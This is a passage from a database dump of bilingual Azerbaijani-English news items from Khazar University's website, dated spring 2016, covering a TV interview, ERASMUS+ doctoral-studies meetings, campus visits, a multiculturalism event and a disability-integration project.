qonağı oldu. Proqramda Hamlet İsaxanli ilə jurnalist\r\nQərənfil Xəlilovanın söhbətləri həm çap, həm də video formatında\r\nyayınlanmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yazını\r\ntam şəkildə bu linklər vasitəsilə oxumaq və izləmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://news.lent.az/news/239157\">http://news.lent.az/news/239157</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.azadliq.az/xeber/73114/hamlet-isaxanli-insanlar-pisliyi-pis-olduqlari-ucun-elemirler/\">http://www.azadliq.az/xeber/73114/hamlet-isaxanli-insanlar-pisliyi-pis-olduqlari-ucun-elemirler/</a>.</p>\r\n<p>&nbsp;</p>'),(1391,880,'en','Hamlet Isaxanli: “People don’t do bad things because they are bad…”','On April 12, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, appeared as the guest on APA TV’s “Life Lesson” program. ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On April 12, 2016,\r\nProfessor Hamlet Isaxanli, the founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees, appeared as the guest on APA TV’s “Life\r\nLesson” program. The conversation between H. Isaxanli and journalist Garanfil Khalilova\r\nwas published in both print and video formats, which are available at the\r\nfollowing links: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://news.lent.az/news/239157\">http://news.lent.az/news/239157</a>, </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.azadliq.az/xeber/73114/hamlet-isaxanli-insanlar-pisliyi-pis-olduqlari-ucun-elemirler/\">http://www.azadliq.az/xeber/73114/hamlet-isaxanli-insanlar-pisliyi-pis-olduqlari-ucun-elemirler/</a>. </p>\r\n<p>&nbsp;</p>'),(1392,881,'az','Doktorantura təhsili ilə əlaqədar müzakirələr davam etdirildi','2016-cı il aprelin 6-da Xəzər Universitetində NİZAMİ ERASMUS+ “Azərbaycanda doktorantura təhsilinin Avropa Ali Təhsil Məkanı tələblərinə uyğun yenidən qurulması və inkişaf etdirilməsi” layihəsi çərçivəsində əməkdaş universitetlərin görüşü davam etdirildi.','<p>2016-cı il aprelin 6-da Xəzər Universitetində NİZAMİ ERASMUS+ “Azərbaycanda doktorantura təhsilinin\r\nAvropa Ali Təhsil Məkanı tələblərinə uyğun yenidən qurulması və inkişaf\r\netdirilməsi” layihəsi çərçivəsində əməkdaş universitetlərin görüşü davam\r\netdirildi. Tədbirdə Azərbaycan Milli Elmlər Akademiyasının nümayəndəsi Azərbaycanda\r\ndoktorantura təhsili qəbulu və tələbləri haqqında, Fatih Universitetinin əməkdaşı&nbsp;\r\nDr. Fikret Tuna isə Türkiyədə doktorantura təhsilinin strukturu barədə\r\ndanışdılar. </p>\r\n<p>Tədbirdə, həmçinin, Masarykova Universitetin əməkdaşı\r\nDominika Hobzova çıxış edərək, Çexiya Respublikasında&nbsp; doktorantura təhsili\r\nhaqda ətraflı məlumat verdi. Çıxışlar zamanı müxtəlif ölkələrin doktorantura təhsilinin\r\nstrukturu müqayisəli şəkildə ətraflı müzakirə edildi. Xəzər Universitetində iki\r\ngün gedən bu tədbiri layihənin koordinatoru Fransanın Montpellier\r\nUniversitetinin əməkdaşı Dr Veronika Montero yekunlaşdırdı.</p>\r\n<p>Konfrans öz işini aprelin 7-si&nbsp; və 8-də Bakı\r\nDövlət Universitetində davam etdirəcək.</p>'),(1393,881,'en','Discussion on State of Doctoral Studies Continued','On April 6, 2016, the management meeting for partner universities in the “Restructuring and Development of Doctoral Studies in Azerbaijan in line with Requirements of Higher Education Area” NIZAMI ERASMUS + Capacity Building Project was continued at Khazar University.','<p>On April 6, 2016,\r\nthe management meeting for partner universities in the “Restructuring and\r\nDevelopment of Doctoral Studies in Azerbaijan in line with Requirements of\r\nHigher Education Area” NIZAMI ERASMUS + Capacity Building Project was continued\r\nat Khazar University. At the meeting, a representative of the Azerbaijan\r\nNational Academy of Sciences spoke about doctoral admissions and students, and\r\nDr. Fikret Tuna of Fatih University spoke about the structure of doctoral\r\nstudies in Turkey. </p>\r\n<p>Then Dominika\r\nHobzova of Masarykova University made a presentation about doctoral education\r\nin the Czech Republic. The presentations were followed by discussions on\r\ncomparisons of doctoral studies in various countries. Dr. Veronique Montero of\r\nMontpellier University (France), coordinator of the project, closed the event\r\nwhich had been held for Khazar University for two days. </p>\r\n<p>The conference\r\nwill continue on April 7 and 8 at Baku State University. </p>\r\n<p>&nbsp;</p>'),(1394,882,'az','Xəzər Universitetinin “Dünya” məktəbində təqdimatı','2016-cı il aprelin 5-də “Dünya” məktəbinin İB proqramında təhsil alan tələbələri üçün həmin məktəbdə Xəzər Universiteti haqqında təqdimat keçirildi. Təqdimat Beynəlxalq Əlaqələr Şöbəsi tərəfindən təşkil olunmuşdu.','<p>2016-cı il aprelin 5-də “Dünya” məktəbinin İB\r\nproqramında təhsil alan tələbələri üçün həmin məktəbdə Xəzər Universiteti\r\nhaqqında təqdimat keçirildi. Təqdimat Beynəlxalq Əlaqələr Şöbəsi tərəfindən təşkil\r\nolunmuşdu.</p>\r\n<p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs\r\niştirakçıları salamladı və öz universitet təcrübələrini bölüşmək üçün dəvət\r\nolunan əcnəbi tələbələri təqdim etdi. Tədbirdə iştirak edənlər Kamerun,\r\nQambiya, Hindistan, İran, Nigeriya və Pakistandan olan tələbələr idi. Əcnəbi tələbələr\r\n“Xəzər”dəki təhsil təcrübələrindən və təhsillərini davam etdirmək üçün bu\r\nuniversiteti seçmək səbəblərindən danışdılar. Qonaqlar arasında Polşadan olan müstəqil qonaq tədqiqatçı\r\nda var idi.</p>\r\n<p>Beynəlxalq Əlaqələr Ofisinin direktoru Turan Cəfərova\r\ntəqdimat keçirdi və Xəzər Universiteti, fakültələr, yerli tələbələrə təklif\r\nolunan proqramlar, həmçinin, resuslar, laboratoriyalar, xidmətlər və tədbirlər\r\nhaqqında danışdı. Xəzər Universitetinin digər universitetlər arasında yerli,\r\nregional və beynəlxalq reytinqlərdə tutduğu yerlər haqqında məlumat\r\niştirakçılara çatdırıldı. Xəzər Universitetinin beynəlxalq əməkdaşlıqları, tələbələr\r\nüçün təhsil və mübadilə imkanları barədə geniş məlumat verildi.</p>\r\n<p>Təqdimat sual-cavab sessiyası ilə başa çatdı.\r\nİştirakçılara Xəzər Universitetinin təbliğat materialları verildi.</p>'),(1395,882,'en','Presentation of Khazar University at Dunya School','On April 5, 2016, a presentation about Khazar University was delivered for the IB program students of Dunya School. The presentation was organized by the International Affairs Office and took place at Dunya School.','<p>On\r\nApril 5, 2016, a presentation about Khazar University was delivered for the IB\r\nprogram students of Dunya School. The presentation was organized by the\r\nInternational Affairs Office and took place at Dunya School.&nbsp; </p>\r\n<p>&nbsp;</p>\r\n<p>Dr.\r\nHassan Niknafs, President of Khazar University, opened the event by welcoming\r\nthe participants and introducing the international students who were invited to\r\nspeak about their experience at Khazar University. International students who\r\nparticipated in the event included those from Cameroon, Gambia, India, Iran,\r\nNigeria, and Pakistan. International students shared their experience of\r\nstudying at Khazar and reasons for choosing Khazar to continue their education.<span style=\"background-color:#ffff00;font-family:\'Times New Roman\', serif;font-size:12pt;text-align:justify\" class=\"undefined\">Guests also included a visiting\r\nindependent researcher from Poland.</span></p>\r\n<p>&nbsp;</p>  \r\n<p>&nbsp;</p>\r\n<p>Turan\r\nJafarova, Director of the International Affairs Office, delivered the\r\npresentation and spoke about Khazar University, its schools, programs it offers\r\nto local students, resources, laboratories, services, and events. Participants\r\nwere informed about the ranking of Khazar University among other universities\r\non local, regional, and international levels. Detailed information was also\r\nprovided about the international partnerships of Khazar University as well as\r\nstudy and exchange opportunities for students. </p>\r\n<p>&nbsp;</p>\r\n<p>The\r\npresentation ended with a question and answer session. Promotional materials of\r\nKhazar University were distributed to the participants of the\r\npresentation.&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(1396,883,'en','Current State of Doctoral Studies Discussed','On April 5, 2016, a management meeting was held at Khazar University for partner universities in the “Restructuring and Development of Doctoral Studies in Azerbaijan in line with Requirements of Higher Education Area” NIZAMI ERASMUS + Capacity Building Project. Participants included representatives from the Khazar University administration, the Ministry of Education of the Azerbaijan Republic, 5 European universities, 1 Turkish university, 9 Azerbaijani universities, and the Director and staff of the Azerbaijan National ERASMUS+ office.','<p>On April 5, 2016, a\r\nmanagement meeting was held at Khazar University for partner universities in\r\nthe “Restructuring and Development of Doctoral Studies in Azerbaijan in line\r\nwith Requirements of Higher Education Area” NIZAMI ERASMUS + Capacity Building\r\nProject. Participants included representatives from the Khazar University\r\nadministration, the Ministry of Education of the Azerbaijan Republic, 5\r\nEuropean universities, 1 Turkish university, 9 Azerbaijani universities, and\r\nthe Director and staff of the Azerbaijan National ERASMUS+ office. </p>\r\n<p>Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, opened the meeting by speaking about the establishment\r\nand development of doctoral programs in Azerbaijan, Europe, and Soviet\r\ncountries during and after the Soviet era. Dr. Eldar Shahgaldiyev, Head of the\r\nDivision for Graduate Students and Research, also made a speech analyzing the\r\ncurrent state of doctoral studies in Azerbaijan. Dr. Amaro Cortes Lucas of\r\nBarcelona University made a presentation via Skype about “Doctoral Education:\r\nthe Quantity/Quality Dilemma.” Representatives of the Ministry of Education and\r\nothers actively participated in a discussion. </p>\r\n<p>The conference will\r\ncontinue until April 6.&nbsp;</p>'),(1397,883,'az','Doktorantura təhsilinin vəziyyəti müzakirə olundu','2016-cı il aprelin 5-də Xəzər Universitetində NİZAMİ ERASMUS+ “Azərbaycanda doktorantura təhsilinin Avropa Ali Təhsil Məkanı tələblərinə uyğun yenidən qurulması və inkişaf etdirilməsi” layihəsi çərçivəsində əməkdaş universitetlərin növbəti görüşü keçirildi. Tədbirdə Xəzər Universitetinin rəhbərliyi, Azərbaycan Respublikası Təhsil Nazirliyinin əməkdaşları, beş Avropa, bir Türkiyə və doqquz Azərbaycan universitetindən əməkdaşlar, Azərbaycan Milli Erasmus + ofisinin rəhbəri və əməkdaşı iştirak edirdilər.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil aprelin 5-də Xəzər Universitetində NİZAMİ ERASMUS+ “Azərbaycanda\r\ndoktorantura təhsilinin Avropa Ali Təhsil Məkanı tələblərinə uyğun yenidən\r\nqurulması və inkişaf etdirilməsi” layihəsi çərçivəsində əməkdaş universitetlərin\r\nnövbəti görüşü keçirildi. Tədbirdə Xəzər Universitetinin rəhbərliyi, Azərbaycan\r\nRespublikası Təhsil Nazirliyinin əməkdaşları, beş Avropa, bir Türkiyə və doqquz\r\nAzərbaycan universitetindən əməkdaşlar, Azərbaycan Milli Erasmus + ofisinin rəhbəri\r\nvə əməkdaşı iştirak edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetinin qurucusu, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı Azərbaycanda, Avropada, keçmiş Sovet ölkələrində, post-sovet\r\ndövründə doktoranturanın yaranması və inkişafı tarixi haqqında iştirakçılara\r\ngeniş məlumat verdi. Həmçinin, Xəzər Universiteti Magistratura və doktorantura\r\nvə elmi işlər bölməsinin müdiri Dr.Eldar Şahgəldiyev Azərbaycanda doktorantura\r\ntəhsilinin vəziyyətinin təhlili haqqında danışdı və Barselona Universitetinin əməkdaşı\r\nDr.Amparo Kortes Lukas “Doktorantura təhsili: kəmiyyət və keyfiyyətin\r\ndilemması” adlı məruzə ilə <em>Skype</em> vasitəsilə çıxış etdi. Konfransda, həmçinin,\r\nTəhsil Nazirliyinin nümayəndəsi və digər iştirakçılar da geniş müzakirələrə\r\nqatıldılar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Konfrans\r\nöz işini aprelin 6-da da davam etdirəcəkdir. &nbsp;</p>'),(1398,884,'az','Dünya şöhrətli fizik Roald Sagdeev Xəzər Universitetində','2016-cı il aprelin 1-də dünyada tanınmış fizik Roald Sagdeev Xəzər Universitetini ziyarət etdi. Universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə görüşdü.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il aprelin 1-də dünyada tanınmış fizik Roald Sagdeev Xəzər Universitetini ziyarət\r\netdi. Universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı ilə görüşdü. H.İsaxanlı Xəzər Universiteti və\r\nAvrasiya Akademiyası haqqında geniş məlumat verdi. Roald Sagdeev də öz elmi fəaliyyətləri\r\nhaqqında danışdı. Görüşdə müxtəlif elmi məsələlər və əməkdaşlıq planları\r\nmüzakirə olundu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd\r\nedək ki, Roald Sagdeev plazma üzrə fizika sahəsində aparıcı mütəxəssisdir və&nbsp;\r\nkeçmiş SSRİ Elmlər Akademiyası Kosmos Tətqiqatı İnstitutunun direktoru\r\nolmuşdur. Hazırda ABŞ-da yaşayır.&nbsp;</p>'),(1399,884,'en','World-known Physicist Visits Khazar ','On April 1, 2016, world famous physicist Roald Sagdeev visited Khazar University and met with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees. Prof. Isaxanli spoke about Khazar University and Eurasian Academy, and Roald Sagdeev in turn spoke about his own scientific activities.','<p>On\r\nApril 1, 2016, world famous physicist Roald Sagdeev visited Khazar University\r\nand met with Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees. Prof. Isaxanli spoke about\r\nKhazar University and Eurasian Academy, and Roald Sagdeev in turn spoke about\r\nhis own scientific activities. They discussed various scientific issues and\r\nplans for future cooperation. </p>\r\n<p>Roald Sagdeev is a leading expert in plasma physics. He\r\nformerly served as Director of the Russian Space Research Institute in the USSR\r\nAcademy of Sciences. He currently resides in the USA. </p>\r\n<p>&nbsp;</p>'),(1400,885,'az','Azərbaycanda multikulturalizm mövzusuna həsr olunmuş görüş keçirilmişdir','2016-cı il aprelin 5-də Xəzər Universitetinin və Azərbaycan Respublikasının Prezidenti yanında Bilik Fondunun təşkilatçılığı ilə Xəzər Universitetində Azərbaycanda multikulturalizm mövzusuna həsr olunmuş görüş keçirildi.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil aprelin 5-də Xəzər Universitetinin və Azərbaycan Respublikasının Prezidenti\r\nyanında Bilik Fondunun təşkilatçılığı ilə Xəzər Universitetində Azərbaycanda\r\nmultikulturalizm mövzusuna həsr olunmuş görüş keçirildi. Tədbir Azərbaycan\r\nRespublikası Prezidentinin 2016-cı ilin Azərbaycanda “Multikulturalizm ili”\r\nelan olunması ilə bağlı imzaladığı sərəncama əsasən təsdiq olunmuş tədbirlər\r\nplanına uyğun olaraq həyata keçirilirdi. Tədbiri giriş sözü ilə Xəzər\r\nUniversitetinin rektoru Dr. Hassan Niknafs açaraq, mövzunun önəmini qeyd etdi və\r\nBilik Fondu ilə Xəzər Universiteti arasında mövcud olan əməkdaşlıqdan məmnunluq\r\nduyduğunu dilə gətirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Daha\r\nsonra Bilik Fondunun icraçı direktoru Oktay Səmədov çıxış edərək, rəhbərlik\r\netdiyi fond haqqında və fondun Azərbaycan multikulturalizminə dair göstərdiyi fəaliyyətini\r\naçıqladı. Daha sonra isə akademik Kamal Abdullayevin elmi redaktorluğu ilə nəşr\r\nolunmuş “Azərbaycan multikulturalizminin ədəbi-bədii qaynaqları” adlı kitab\r\nAMEA-nın Dilçilik İnstitutunun direktoru, akademiyanın muxbir üzvü Möhsün\r\nNağısoylu tərəfindən iştirakçılara təqdim olundu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yekunda\r\nXəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin\r\nmüdiri, siyasi elmlər üzrə fəlsəfə doktoru Muxtar Hacızadə keçirilən tədbirin\r\nregionda baş verən hazırkı gərginlik fonunda önəmini irəli çəkərək, Bilik\r\nFondunun rəhbərliyinə əməkdaşlıq üçün təşəkkür etdi.</p>'),(1401,885,'en','Azerbaijani Multiculturalism Event','On April 5, 2016, an event dedicated to the theme of multiculturalism in Azerbaijan was held at Khazar University with the joint coordination of Khazar University and the Knowledge Foundation under the President of the Azerbaijan Republic. ','<p>On April 5, 2016, an\r\nevent dedicated to the theme of multiculturalism in Azerbaijan was held at\r\nKhazar University with the joint coordination of Khazar University and the\r\nKnowledge Foundation under the President of the Azerbaijan Republic. The event\r\nwas held within the framework of the national Multiculturalism Year, which was\r\nannounced in 2016 by the President of the Azerbaijan Republic. It was opened by\r\nDr. Hasan Niknafs, President of the University, who spoke about the importance\r\nof multiculturalism and said he appreciates the partnership between the\r\nKnowledge Foundation and Khazar University. </p>\r\n<p>Then Oktay Samadov,\r\nExecutive Director of the Knowledge Foundation, made a presentation about the\r\nfoundation and its activities to promote multiculturalism in Azerbaijan. Next\r\nMohsun Nagisoylu, corresponding member of the Azerbaijan National Academy of\r\nSciences as well as Director of the Linguistics Institute of ANAS, made a\r\npresentation of the book Literary Roots of Azerbaijani Multiculturalism, edited\r\nby Academic Kamal Abdullayev. </p>\r\n<p>Finally, Dr. Mukhtar\r\nHajizada, Head of the Department of Political Science and International\r\nRelations, mentioned the importance of the event in light of the current\r\ntension in the region, and he thanked the Knowledge Foundation for their\r\npartnership.&nbsp;</p>'),(1402,886,'az','Departament müdirimizə dosent elmi adı verilmişdir','Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasının 29 fevral 2016-cı il tarixli qərarı ilə Xəzər universiteti Musiqi və incəsənət departamentinin müdiri, pianoçu Zülfiyyə Sadıqovaya musiqi və incəsənət kafedrası üzrə dosent elmi adı verilmişdir.','<p>Azərbaycan Respublikasının Prezidenti yanında Ali\r\nAttestasiya Komissiyasının 29 fevral 2016-cı il tarixli qərarı ilə Xəzər\r\nuniversiteti Musiqi və incəsənət departamentinin müdiri, pianoçu Zülfiyyə Sadıqovaya\r\nmusiqi və incəsənət kafedrası üzrə dosent elmi adı verilmişdir. </p>\r\n<p>Martın 31-də Ali Attestasiya Komissiyasında Z.\r\nSadıqovaya dosent diplomu təqdim olunmuşdur. Əməkdaşımızı təbrik edir, ona yeni\r\nuğurlar arzulayırıq.</p>'),(1403,886,'en','Department Chair Awarded Associate Professor Title','Zulfiyya Sadigova, Head of the Department of Music and Fine Arts at Khazar University, was awarded the title of Associate Professor by an order of the Higher Attestation Commission of the President of the Azerbaijan Republic on February 29, 2016.','<p>Zulfiyya\r\nSadigova, Head of the Department of Music and Fine Arts at Khazar University,\r\nwas awarded the title of Associate Professor by an order of the Higher\r\nAttestation Commission of the President of the Azerbaijan Republic on February\r\n29, 2016. On March 31, 2016, Z. Sadigova was given an Associate Professor\r\ncertificate. We congratulate her and wish her further success.&nbsp;</p>'),(1404,887,'en','Meetings for ESFIDIP Project','On April 1, 2016, a meeting of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project was held in Khazar University’s European Union Studies Center. Dr. Hasan Niknafs, President of the University; Professor Mahammad Nuriyev, Vice President of Khazar University for Academic Affairs; Dr. Isakhan Isakhanli, Vice President for Administration and Student Affairs; Raziya Isayeva, Development Director; Lyudmila Sotova, Director of the Quality Assurance Center; Dr. Ingilab Ahmadov, Dean of the School of Economics and Management, and Deputy Dean Fuad Rasulov; Vafa Aslanova, Deputy Dean of the School of Engineering and Applied Sciences; Associate Professor Jabir Khalilov, Dean of the School of Humanities and Social Sciences, and Deputy Dean Melek Karimova; Deputy Dean of the School of Education, Zarifa Aliyeva; and Rima Mammadova, coordinator of the Center for Students with Disabilities; participated in the meeting.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On April 1, 2016, a meeting of the\r\n“Establishment of a Foundation for the Integration of Disabled People into HEIs\r\nof Azerbaijan” (ESFIDIP) TEMPUS project was held in Khazar University’s\r\nEuropean Union Studies Center. Dr. Hasan Niknafs, President of the University;\r\nProfessor Mahammad Nuriyev, Vice President of Khazar University for Academic\r\nAffairs; Dr. Isakhan Isakhanli, Vice President for Administration and Student\r\nAffairs; Raziya Isayeva, Development Director; Lyudmila Sotova, Director of the\r\nQuality Assurance Center; Dr. Ingilab Ahmadov, Dean of the School of Economics\r\nand Management, and Deputy Dean Fuad Rasulov; Vafa Aslanova, Deputy Dean of the\r\nSchool of Engineering and Applied Sciences; Associate Professor Jabir Khalilov,\r\nDean of the School of Humanities and Social Sciences, and Deputy Dean Melek\r\nKarimova; Deputy Dean of the School of Education, Zarifa Aliyeva; and Rima\r\nMammadova, coordinator of the Center for Students with Disabilities;\r\nparticipated in the meeting. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">During the meeting, participants discussed\r\nthe training event that was held at Khazar University for instructors on March\r\n16th within the framework of the ESFIDIP project. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Meeting participants also discussed two\r\nmore training seminars that have been planned for staff members and students in\r\nthe near future as well as the necessary changes to facilities’ infrastructure\r\nto accommodate students with disabilities. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Then the ESFIDIP project manager and local\r\npartners (Azerbaijan State Economics University, Nakhchivan State University\r\nand Ganja State University) had a Skype meeting in which they discussed\r\ntraining seminars for students, faculty and staff members. Universities gave\r\neach other reports on their training events and planned future events.&nbsp;</p>'),(1405,887,'az','ESFIDIP layihəsi barəsində görüşlər keçirildi','2016-ci il aprelin 1-də Xəzər Universitetinin Avropa Birliyi Araşdırmaları Mərkəzində ESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması) layihəsi ilə bağlı iclas keçirildi. İclasda Xəzər Universitetinin rektoru Hassan Niknafs, Tədris işləri üzrə prorektor Məhəmməd Nuriyev, Təhsil işləri üzrə prorektor İsaxan İsaxanlı, İnkişaf direktoru Raziya İsayeva, Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova, İqtisadiyyat və menecment fakültəsinin dekanı İnqilab Əhmədov və dekan müavini Fuad Rəsulov, Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavini Vəfa Aslanova, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov və dekan müavini Mələk Kərimova, Təhsil fakültəsinin dekan müavini Zərifə Əliyeva və Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədova iştirak etdilər. Görüş zamanı martın 16-da “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi çərçivəsində Xəzər Universitetində əlilliyi olan tələbələrə dərs deyən və Xəzər Universitetində çalışan digər müəllim heyəti üçün həyata keçirilmiş təlim-seminar müzakirə olundu.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-ci\r\nil aprelin 1-də Xəzər Universitetinin Avropa Birliyi Araşdırmaları Mərkəzində\r\nESFİDİP (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə\r\ninteqrasiyasının təməlinin qoyulması) layihəsi ilə bağlı iclas keçirildi.\r\nİclasda Xəzər Universitetinin rektoru Hassan Niknafs, Tədris işləri üzrə\r\nprorektor Məhəmməd Nuriyev, Təhsil işləri üzrə prorektor İsaxan İsaxanlı,\r\nİnkişaf direktoru Raziya İsayeva, Keyfiyyətin Təminatı Mərkəzinin direktoru\r\nLyudmila Sotova, İqtisadiyyat və menecment fakültəsinin dekanı İnqilab Əhmədov\r\nvə dekan müavini Fuad Rəsulov, Mühəndislik və tətbiqi elmlər fakültəsinin dekan\r\nmüavini Vəfa Aslanova, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov\r\nvə dekan müavini Mələk Kərimova, Təhsil fakültəsinin dekan müavini Zərifə\r\nƏliyeva və Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədova\r\niştirak etdilər. Görüş zamanı martın 16-da “Əlilliyi olan şəxslərin Azərbaycanın\r\nali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı\r\nTempus layihəsi çərçivəsində Xəzər Universitetində əlilliyi olan tələbələrə dərs\r\ndeyən və Xəzər Universitetində çalışan digər müəllim heyəti üçün həyata\r\nkeçirilmiş təlim-seminar müzakirə olundu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İclas\r\nzamanı ESFİDİP layihəsi çərçivəsində keçiriləcək olan daha iki təlim-seminar\r\n(inzibati işçilər və tələbələr üçün keçirələcək olan təlim-seminarlar) və Xəzər\r\nUniversitetində əlilliyi olan tələbələrin universitet ərazisində maneəsiz hərəkət\r\netmələri üçün binanın infrastrukturunda müəyyən dəyişikliklərin edilməsi də\r\nmüzakirə olundu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Daha\r\nsonra ESFİDİP layihəsinin meneceri və yerli tərəfdaşlar (Azərbaycan Dövlət\r\nİqtisad Universiteti, Naxçıvan Dövlət Universiteti və Gəncə Dövlət\r\nUniversiteti) arasında <em>Skype</em> vasitəsilə görüş təşkil olundu. Görüş\r\nzamanı tərəfdaş universitetlərdə dərs deyən müəllim heyəti, inzibati işçi və tələbələr\r\nüçün təşkil olunmuş və təşkil olunacaq təlim-seminarlar haqqında müzakirələr\r\nkeçirildi. Universitetlər həyata keçidikləri təlim-seminar haqqında bir-birilərinə\r\nhesabat verdilər və gələcək təlim-seminar haqqında planlarından danışdılar.</p>'),(1406,888,'az','Özəl universitetlər savadlı tələbələrə nə kimi güzəştlər edir','Gündəlik ictimai-siyasi nəşr olan “Kaspi” qəzetinin  1 aprel 2016-cı il tarixli nömrəsində Aygün Asimqızının “Özəl universitetlər savadlı tələbələrə nə kimi güzəştlər edir?”adlı məqaləsi dərc olunmuşdur.','<p>Gündəlik ictimai-siyasi nəşr olan “Kaspi” qəzetinin&nbsp; 1 aprel 2016-cı\r\nil tarixli nömrəsində <strong>Aygün\r\nAsimqızının </strong>“Özəl universitetlər\r\nsavadlı tələbələrə nə kimi güzəştlər edir?”adlı məqaləsi dərc olunmuşdur. Məqalədə digər özəl ali təhsil müəssisələri ilə yanaşı, Xəzər Universitetində də tələbələrə\r\nedilən güzəştlərdən danışılır (<a href=\"http://www.kaspi.az/news.php?id=27940\">http://www.kaspi.az/news.php?id=27940</a>).</p>\r\n<p>Həmin məqalə<em>azadinform.az </em>(<a href=\"http://www.azadinform.az/news/a-110698.html\">http://www.azadinform.az/news/a-110698.html</a>.), <em>editor.az</em>(<a href=\"http://editor.az/news/101532\">http://editor.az/news/101532</a>. ) və digər saytlarda da yerləşdirilmişdir.</p>'),(1407,888,'en','Exceptions Private Universities Make for Bright Students','On April 1, 2016, an article by Aygun Asimgizi entitled “What Exceptions do Private Universities Make for Bright Students?” was published in the Kaspi Newspaper.','<p>On\r\nApril 1, 2016, an article by Aygun Asimgizi entitled “What Exceptions do Private Universities Make\r\nfor Bright Students?” was published in the Kaspi Newspaper. The article discusses exceptions that are made for\r\nstudents of Khazar University, among other universities. The full text of the\r\narticle is available at the following link: <a href=\"http://www.kaspi.az/news.php?id=27940\">http://www.kaspi.az/news.php?id=27940</a>.</p>\r\n<p>The\r\nsame article was also published on the azadinform.az website\r\n(<a href=\"http://www.azadinform.az/news/a-110698.html\">http://www.azadinform.az/news/a-110698.html</a>), on editor.az (<a href=\"http://editor.az/news/101532\">http://editor.az/news/101532</a>) and on other websites.&nbsp;</p>'),(1408,889,'az','hafta.az saytında müsahibədə “Xəzər”dən də danışılmışdır','Aprelin 1-də hafta.az saytında Azərbaycanın Misirdəki səfirliyinin müşaviri  Rəfael Bağırovla','<p>Aprelin 1-də <strong><em>hafta.az </em></strong>saytında Azərbaycanın\r\nMisirdəki səfirliyinin müşaviri&nbsp; Rəfael\r\nBağırovla</p>\r\n<p>“Ermənilərin Misirdə altı kilsəsi mövcuddur” başlıqlı\r\nmüsahibə yayımlanmışdır. Müsahibədə Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının Misirə səfəri\r\nvə Misir Elm və Texnologiya Universiteti ilə əməkdaşlıq müqaviləsi\r\nimzalaması&nbsp; 